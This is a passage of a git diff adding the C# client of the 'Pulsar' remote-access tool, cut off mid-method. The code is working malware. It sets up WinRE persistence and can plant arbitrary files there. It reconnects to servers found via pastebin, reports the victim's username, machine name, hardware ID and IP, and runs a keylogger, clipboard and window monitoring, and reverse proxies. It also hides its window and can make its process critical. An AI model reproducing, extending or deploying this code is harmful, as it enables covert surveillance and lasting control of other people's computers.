Pulsar.Client.Messages +{ + public class WebsiteVisitorHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoVisitWebsite; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoVisitWebsite msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoVisitWebsite message) + { + string url = message.Url; + + if (!url.StartsWith("http")) + url = "http://" + url; + + if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) + { + if (!message.Hidden) + Process.Start(url); + else + { + try + { + HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url); + request.UserAgent = + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"; + request.AllowAutoRedirect = true; + request.Timeout = 10000; + request.Method = "GET"; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + } + } + catch + { + } + } + + client.Send(new SetStatus { Message = "Visited Website" }); + } + } + } +} diff --git a/Pulsar.Client/Messages/WinREPersistenceHandler.cs b/Pulsar.Client/Messages/WinREPersistenceHandler.cs new file mode 100644 index 0000000..a0e23a6 --- /dev/null +++ b/Pulsar.Client/Messages/WinREPersistenceHandler.cs @@ -0,0 +1,140 @@ +using Pulsar.Client.Helper.WinRE; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement.WinRE; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; + +namespace Pulsar.Client.Messages +{ + public class WinREPersistenceHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAddWinREPersistence || message is DoRemoveWinREPersistence || message is AddCustomFileWinRE; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAddWinREPersistence msg: + Execute(sender, msg); + break; + + case DoRemoveWinREPersistence msg: + Execute(sender, msg); + break; + + case AddCustomFileWinRE msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoAddWinREPersistence message) + { + try + { + string exeLocation; + + try + { + exeLocation = Assembly.GetExecutingAssembly().Location; + + if (string.IsNullOrEmpty(exeLocation)) + { + // we running in memory + return; + } + } + catch (Exception ex) + { + // ye we def in memory + Debug.WriteLine($"Failed to get assembly location: {ex.Message}"); + return; + } + + byte[] bytes = System.IO.File.ReadAllBytes(exeLocation); + WinREPersistence.Uninstall(); + WinREPersistence.InstallFile(bytes, ".exe"); + + client.Send(new SetStatus + { + Message = "Added WinRE Persistence" + }); + } + catch + { + client.Send(new SetStatus + { + Message = "Failed to add WinRE Persistence" + }); + } + } + + private void Execute(ISender client, DoRemoveWinREPersistence message) + { + try + { + WinREPersistence.Uninstall(); + client.Send(new SetStatus + { + Message = "Removed WinRE Persistence" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Failed to remove WinRE Persistence: {ex.Message}" + }); + } + } + + private void Execute(ISender client, AddCustomFileWinRE message) + { + try + { + if (string.IsNullOrEmpty(message.Path)) + { + client.Send(new SetStatus + { + Message = "Invalid path or arguments for custom file." + }); + return; + } + + if (!File.Exists(message.Path)) + { + client.Send(new SetStatus + { + Message = "Custom file does not exist." + }); + return; + } + + byte[] fileBytes = File.ReadAllBytes(message.Path); + + WinREPersistence.Uninstall(); + + string fileExtension = Path.GetExtension(message.Path); + + WinREPersistence.InstallFile(fileBytes, fileExtension); + client.Send(new SetStatus + { + Message = "Added Custom File to WinRE Persistence" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Failed to add custom file: {ex.Message}" + }); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Networking/Client.cs b/Pulsar.Client/Networking/Client.cs new file mode 100644 index 0000000..e523f8a --- /dev/null +++ b/Pulsar.Client/Networking/Client.cs @@ -0,0 +1,565 @@ +using Pulsar.Client.ReverseProxy; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Extensions; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Collections.Concurrent; +using Pulsar.Common.Messages.Administration.ReverseProxy; +using System.Diagnostics; +using System.IO; +using System.Buffers; +using System.Buffers.Binary; + +namespace Pulsar.Client.Networking +{ + public class Client : ISender, IDisposable + { + /// + /// Occurs as a result of an unrecoverable issue with the client. + /// + public event ClientFailEventHandler ClientFail; + + /// + /// Represents a method that will handle failure of the client. + /// + /// The client that has failed. + /// The exception containing information about the cause of the client's failure. + public delegate void ClientFailEventHandler(Client s, Exception ex); + + /// + /// Fires an event that informs subscribers that the client has failed. + /// + /// The exception containing information about the cause of the client's failure. + private void OnClientFail(Exception ex) + { + var handler = ClientFail; + handler?.Invoke(this, ex); + } + + /// + /// Occurs when the state of the client has changed. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in the client's state + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the server. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message from the server. + /// + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been received by the server. + /// + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + Debug.WriteLine($"[CLIENT] Received packet: {message.GetType().Name} (Length: {messageLength} bytes)"); + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// The keep-alive time in ms. + /// + public uint KEEP_ALIVE_TIME => 25000; // 25s + + /// + /// The keep-alive interval in ms. + /// + public uint KEEP_ALIVE_INTERVAL => 25000; // 25s + + /// + /// The header size in bytes. + /// + public int HEADER_SIZE => 4; // 4B + + /// + /// Returns an array containing all of the proxy clients of this client. + /// + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_proxyClientsLock) + { + return _proxyClients.ToArray(); + } + } + } + + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. + /// + private Stream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; + + /// + /// Indicates whether secure envelopes should be enforced for all traffic. + /// + protected bool EncryptTraffic { get; set; } + + /// + /// A list of all the connected proxy clients that this client holds. + /// + private readonly List _proxyClients = new List(); + + readonly object _readMessageLock = new object(); + readonly object _sendMessageLock = new object(); + readonly object _proxyClientsLock = new object(); + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _readBuffer; + + /// + /// The queue which holds messages to send. + /// + private readonly ConcurrentQueue _sendBuffers = new ConcurrentQueue(); + + /// + /// Determines if the client is currently sending messages. + /// + private int _sendingMessagesFlag; + + // Receive info + private int _readOffset; + private int _readLength; + + /// + /// Constructor of the client, initializes serializer types. + /// + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) + { + _serverCertificate = serverCertificate; + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + +#if DEBUG + var certificateUsable = SecureMessageEnvelopeHelper.CanUse(_serverCertificate); + var enforceEncryptionFlag = Environment.GetEnvironmentVariable("PULSAR_DEBUG_ENFORCE_ENCRYPTION"); + var enforceEncryption = !string.IsNullOrWhiteSpace(enforceEncryptionFlag) + && (enforceEncryptionFlag.Equals("1", StringComparison.OrdinalIgnoreCase) + || enforceEncryptionFlag.Equals("true", StringComparison.OrdinalIgnoreCase) + || enforceEncryptionFlag.Equals("yes", StringComparison.OrdinalIgnoreCase)); + + if (enforceEncryption && certificateUsable) + { + EncryptTraffic = true; + Debug.WriteLine("[CLIENT] Debug build: encryption enforced via PULSAR_DEBUG_ENFORCE_ENCRYPTION."); + } + else + { + EncryptTraffic = false; + if (!certificateUsable) + { + Debug.WriteLine("[CLIENT] Debug build: server certificate missing, running without encryption."); + } + else + { + var logMessage = enforceEncryption + ? "[CLIENT] Debug build: encryption enforcement requested but certificate cannot be used; continuing without encryption." + : "[CLIENT] Debug build: encryption disabled by default for development."; + Debug.WriteLine(logMessage); + } + } +#else + EncryptTraffic = SecureMessageEnvelopeHelper.CanUse(_serverCertificate); + if (!EncryptTraffic) + { + throw new InvalidOperationException("A valid server certificate is required for secure communication."); + } +#endif + } + + /// + /// Attempts to connect to the specified ip address on the specified port. + /// + /// The ip address to connect to. + /// The port of the host. + protected void Connect(IPAddress ip, ushort port) + { + Socket handle = null; + try + { + Disconnect(); + + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.NoDelay = true; + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); + + if (handle.Connected) + { + _stream = new NetworkStream(handle, true); + _stream.BeginRead(_readBuffer, _readOffset, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + else + { + handle.Dispose(); + } + } + catch (Exception ex) + { + handle?.Dispose(); + OnClientFail(ex); + } + } + + private void AsyncReceive(IAsyncResult result) + { + try + { + if (_stream == null) + { + return; + } + + var bytesRead = _stream.EndRead(result); + if (bytesRead <= 0) + throw new Exception("no bytes transferred"); + + lock (_readMessageLock) + { + _readOffset += bytesRead; + _readLength -= bytesRead; + + if (_readLength == 0) + { + if (_readBuffer.Length == HEADER_SIZE) + { + var length = BitConverter.ToInt32(_readBuffer, 0); + if (length <= 0) + throw new InvalidDataException("Invalid message length."); + + _readBuffer = new byte[length]; + _readOffset = 0; + _readLength = length; + } + else + { + try + { + var message = PulsarMessagePackSerializer.Deserialize(_readBuffer); + message = ProcessIncomingMessage(message); + OnClientRead(message, _readBuffer.Length); + } + finally + { + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + } + } + } + + } + + if (_stream != null) + { + ThreadPool.QueueUserWorkItem(_ => + { + try + { + if (_stream != null) + { + _stream.BeginRead(_readBuffer, _readOffset, _readLength, AsyncReceive, result.AsyncState); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + }); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + } + + /// + /// Sends a message to the connected server. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) + return; + + _sendBuffers.Enqueue(message); + if (Interlocked.Exchange(ref _sendingMessagesFlag, 1) == 0) + { + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + if (!_sendBuffers.TryDequeue(out var message)) + { + SendCleanup(); + return; + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + Interlocked.Exchange(ref _sendingMessagesFlag, 0); + if (clear) + { + while (_sendBuffers.TryDequeue(out _)) ; + } + } + + private IMessage PrepareMessageForSend(IMessage message) + { + if (message == null) + { + return null; + } + + if (message is SecureMessageEnvelope) + { + return message; + } + + if (!EncryptTraffic) + { + return message; + } + + if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate)) + { + throw new InvalidOperationException("Secure transport is enabled but no certificate is available."); + } + + return SecureMessageEnvelopeHelper.Wrap(message, _serverCertificate); + } + + private IMessage ProcessIncomingMessage(IMessage message) + { + if (message is SecureMessageEnvelope secureEnvelope) + { + if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate)) + { + throw new InvalidOperationException("Received a secure envelope but no certificate is available for decryption."); + } + + return SecureMessageEnvelopeHelper.Unwrap(secureEnvelope, _serverCertificate); + } + + if (EncryptTraffic) + { + throw new InvalidOperationException($"Received unexpected plaintext message of type {message?.GetType().Name} while encryption is enforced."); + } + + return message; + } + + /// + /// Sends a message to the connected server and blocks until sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) + return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + lock (_sendMessageLock) + { + if (_stream == null) + return; + + try + { + var prepared = PrepareMessageForSend(message); + if (prepared == null) + { + return; + } + + var payload = PulsarMessagePackSerializer.Serialize(prepared); + int totalLength = HEADER_SIZE + payload.Length; + + byte[] buffer = ArrayPool.Shared.Rent(totalLength); + try + { + BinaryPrimitives.WriteInt32LittleEndian(new Span(buffer, 0, HEADER_SIZE), payload.Length); + Buffer.BlockCopy(payload, 0, buffer, HEADER_SIZE, payload.Length); + _stream?.Write(buffer, 0, totalLength); + } + finally + { + ArrayPool.Shared.Return(buffer, clearArray: false); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + } + } + + /// + /// Disconnect the client from the server, disconnect all proxies that + /// are held by this client, and dispose of other resources associated + /// with this client. + /// + public void Disconnect() + { + lock (_sendMessageLock) + { + if (_stream != null) + { + _stream.Dispose(); + _stream = null; + } + } + + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + + if (_proxyClients != null) + { + lock (_proxyClientsLock) + { + foreach (var proxy in _proxyClients) + { + try + { + proxy.Disconnect(); + } + catch (Exception ex) + { + // Log or handle proxy disconnect exceptions + System.Diagnostics.Debug.WriteLine($"Proxy disconnect error: {ex.Message}"); + } + } + } + } + + SendCleanup(true); + OnClientState(false); + } + + public void ConnectReverseProxy(ReverseProxyConnect command) + { + var proxy = new ReverseProxyClient(command, this); + lock (_proxyClientsLock) + { + _proxyClients.Add(proxy); + } + } + + public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId) + { + lock (_proxyClientsLock) + { + return _proxyClients.FirstOrDefault(proxy => proxy.ConnectionId == connectionId); + } + } + + public void RemoveProxyClient(int connectionId) + { + lock (_proxyClientsLock) + { + _proxyClients.RemoveAll(proxy => proxy.ConnectionId == connectionId); + } + } + + /// + /// Implement IDisposable for managed resources. + /// + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + Disconnect(); + } + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Pulsar.Client/Networking/PulsarClient.cs b/Pulsar.Client/Networking/PulsarClient.cs new file mode 100644 index 0000000..148067d --- /dev/null +++ b/Pulsar.Client/Networking/PulsarClient.cs @@ -0,0 +1,296 @@ +using NAudio.CoreAudioApi; +using Pulsar.Client.Helper; +using Pulsar.Client.IO; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.DNS; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages; +using Pulsar.Common.Utilities; +using Pulsar.Client.Config; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using Pulsar.Common.UAC; +using Pulsar.Client.Utilities; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Networking +{ + public class PulsarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// Indicates whether this client already requested deferred assemblies for the current session. + /// + private bool _requestedDeferredAssemblies; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Indicates that shutdown was requested for the connect loop. + /// + private volatile bool _shutdownRequested; + + /// + /// Tracks whether the instance was disposed to avoid double cleanup. + /// + private bool _disposed; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public PulsarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + _hosts = hostsManager; + _random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + while (!_shutdownRequested && !_token.IsCancellationRequested) + { + if (!Connected) + { + var host = _hosts.GetNextHost(); + + if (host?.IpAddress == null) + { + Debug.WriteLine("Failed to get a valid host to connect to. Will retry after delay."); + + // Check pastebin status to determine appropriate wait time + var (IsReachable, SuggestedWaitTimeMs) = _hosts.GetPastebinStatus(); + int waitTime; + + if (!IsReachable && SuggestedWaitTimeMs > 0) + { + // Use suggested wait time for pastebin failures (5+ minutes to avoid rate limiting) + waitTime = SuggestedWaitTimeMs; + Debug.WriteLine($"Pastebin unreachable, waiting {waitTime / 1000} seconds before retry"); + } + else + { + // Use normal reconnect delay when pastebin is reachable but no hosts available + waitTime = Settings.RECONNECTDELAY; + } + + Thread.Sleep(waitTime + _random.Next(250, 750)); + continue; + } + + try + { + base.Connect(host.IpAddress, host.Port); + } + catch (Exception ex) + { + Debug.WriteLine($"Connection attempt failed: {ex.Message}"); + } + } + + while (Connected) + { + if (WaitForShutdownSignal(1000)) + { + Disconnect(); + return; + } + } + + if (_shutdownRequested || _token.IsCancellationRequested) + { + Disconnect(); + return; + } + + if (WaitForShutdownSignal(Settings.RECONNECTDELAY + _random.Next(250, 750))) + { + Disconnect(); + return; + } + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message is ClientIdentificationResult reply) + { + _identified = reply.Result; + if (_identified) + { + RequestDeferredAssemblies(); + } + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine($"Client Fail - Exception Message: {ex.Message}"); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + _requestedDeferredAssemblies = false; + + if (connected) + { + // Notify hosts manager of successful connection for pastebin timing logic + _hosts.NotifySuccessfulConnection(); + + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + var identification = new ClientIdentification + { + Version = Settings.ReportedVersion, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE), + PublicIP = geoInfo.IpAddress ?? "Unknown" + }; + + client.Send(identification); + } + } + + private void RequestDeferredAssemblies() + { + if (_requestedDeferredAssemblies) + { + return; + } + + var missingAssemblies = DeferredAssemblyManager.GetMissingAssemblies(); + if (missingAssemblies == null || missingAssemblies.Length == 0) + { + return; + } + + try + { + Send(new RequestDeferredAssemblies + { + Assemblies = missingAssemblies, + ClientVersion = Settings.ReportedVersion + }); + + _requestedDeferredAssemblies = true; + Debug.WriteLine($"Requested {missingAssemblies.Length} deferred assemblies from server."); + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to request deferred assemblies: {ex.Message}"); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator()) + { + NativeMethods.RtlSetProcessIsCritical(0, 0, 0); + } + + _shutdownRequested = true; + _tokenSource.Cancel(); + Disconnect(); + } + + protected override void Dispose(bool disposing) + { + if (!disposing || _disposed) + { + return; + } + + _shutdownRequested = true; + _disposed = true; + + _tokenSource.Cancel(); + + try + { + base.Dispose(disposing); + } + finally + { + _tokenSource.Dispose(); + } + } + + /// + /// Waits for either a shutdown request/cancellation or until the specified timeout elapses. + /// + /// Timeout in milliseconds. + /// true if shutdown was requested; otherwise false. + private bool WaitForShutdownSignal(int timeoutMs) + { + const int slice = 100; + var waited = 0; + + while (waited < timeoutMs && !_shutdownRequested && !_token.IsCancellationRequested) + { + var delay = Math.Min(slice, timeoutMs - waited); + Thread.Sleep(delay); + waited += delay; + } + + return _shutdownRequested || _token.IsCancellationRequested; + } + } +} diff --git a/Pulsar.Client/Plugins/IClientPlugin.cs b/Pulsar.Client/Plugins/IClientPlugin.cs new file mode 100644 index 0000000..023b715 --- /dev/null +++ b/Pulsar.Client/Plugins/IClientPlugin.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using Pulsar.Common.Messages; +using Pulsar.Client.Networking; + +namespace Pulsar.Client.Plugins +{ + public interface IClientPlugin + { + string Name { get; } + Version Version { get; } + void Register(List processors, PulsarClient client); + } +} diff --git a/Pulsar.Client/Program.cs b/Pulsar.Client/Program.cs new file mode 100644 index 0000000..4e806d2 --- /dev/null +++ b/Pulsar.Client/Program.cs @@ -0,0 +1,47 @@ +using Pulsar.Client.Config; +using Pulsar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + internal static class Program + { + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetThreadDesktop(uint dwThreadId); + + [DllImport("kernel32.dll")] + private static extern uint GetCurrentThreadId(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetProcessDPIAware(); + + [STAThread] + private static void Main() + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + SetProcessDPIAware(); + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + + SaveOriginalDesktop(); + + Application.Run(new PulsarApplication()); +} + + private static void SaveOriginalDesktop() + { + Settings.OriginalDesktopPointer = GetThreadDesktop(GetCurrentThreadId()); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Properties/.DS_Store b/Pulsar.Client/Properties/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Properties/.DS_Store differ diff --git a/Pulsar.Client/Properties/AssemblyInfo.cs b/Pulsar.Client/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..d1a45e6 --- /dev/null +++ b/Pulsar.Client/Properties/AssemblyInfo.cs @@ -0,0 +1,34 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Allgemeine Informationen über eine Assembly werden über die folgenden +// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern, +// die mit einer Assembly verknüpft sind. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Client.Tests")] + +// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar +// für COM-Komponenten. Wenn Sie auf einen Typ in dieser Assembly von +// COM zugreifen müssen, legen Sie das ComVisible-Attribut für diesen Typ auf "true" fest. +[assembly: ComVisible(false)] + +// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten: +// +// Hauptversion +// Nebenversion +// Buildnummer +// Revision +// +// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern +// übernehmen, indem Sie "*" eingeben: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.4.5")] +[assembly: AssemblyFileVersion("2.4.5")] diff --git a/Pulsar.Client/Properties/Resources.resx b/Pulsar.Client/Properties/Resources.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Pulsar.Client/Properties/Resources.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Pulsar.Client/Properties/Settings.Designer.cs b/Pulsar.Client/Properties/Settings.Designer.cs new file mode 100644 index 0000000..d764d75 --- /dev/null +++ b/Pulsar.Client/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Pulsar.Client.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Pulsar.Client/Properties/Settings.settings b/Pulsar.Client/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Pulsar.Client/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Pulsar.Client/Pulsar.Client.csproj b/Pulsar.Client/Pulsar.Client.csproj new file mode 100644 index 0000000..4713457 --- /dev/null +++ b/Pulsar.Client/Pulsar.Client.csproj @@ -0,0 +1,121 @@ + + + net48 + WinExe + Client + true + false + AnyCPU + Debug;Release;ReleaseWithDonut + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + True + + + Pulsar.Client.Program + + + app.manifest + + + $(MSBuildProjectDirectory)\..\Pulsar.Server\DeferredAssemblies + + + $(SolutionDir)Pulsar.Server\DeferredAssemblies + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + all + runtime; build; compile; native; contentfiles; analyzers; buildtransitive + + + all + runtime; build; native; contentfiles; analyzers; buildtransitive + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Client/PulsarApplication.cs b/Pulsar.Client/PulsarApplication.cs new file mode 100644 index 0000000..25bad58 --- /dev/null +++ b/Pulsar.Client/PulsarApplication.cs @@ -0,0 +1,447 @@ +using Pulsar.Client.Anti; +using Pulsar.Client.Config; +using Pulsar.Client.Helper.UAC; +using Pulsar.Client.Logging; +using Pulsar.Client.LoggingAPI; +using Pulsar.Client.Messages; +using Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.User; +using Pulsar.Client.Utilities; +using Pulsar.Common.DNS; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement; +using Pulsar.Common.UAC; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Security.Principal; +using System.Text; +using System.Linq; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class PulsarApplication : Form + { + /// + /// Static reference to the current application instance. + /// + public static PulsarApplication Instance { get; private set; } + + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private PulsarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + /// + /// The background keylogger service used to capture and store keystrokes. + /// + private KeyloggerService _keyloggerService; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + private ActiveWindowChecker _activeWindowChecker; + private ClipboardChecker _clipboardChecker; + private DebugLog _debugLog; + + private bool _deferredProcessorsRegistered; + + private static readonly string[] SharpDxAssemblies = + { + "SharpDX", + "SharpDX.Direct3D11", + "SharpDX.Direct2D1", + "SharpDX.DXGI", + "SharpDX.D3DCompiler", + "SharpDX.Mathematics" + }; + + private static readonly string[] WebcamAssemblies = + { + "AForge", + "AForge.Video", + "AForge.Video.DirectShow" + }; + + private static readonly string[] AudioAssemblies = + { + "NAudio.Core", + "NAudio.Wasapi", + "NAudio.WinForms", + "NAudio.WinMM" + }; + + /// + /// Gets the clipboard checker instance. + /// + public ClipboardChecker ClipboardChecker => _clipboardChecker; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public PulsarApplication() + { + Instance = this; + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + 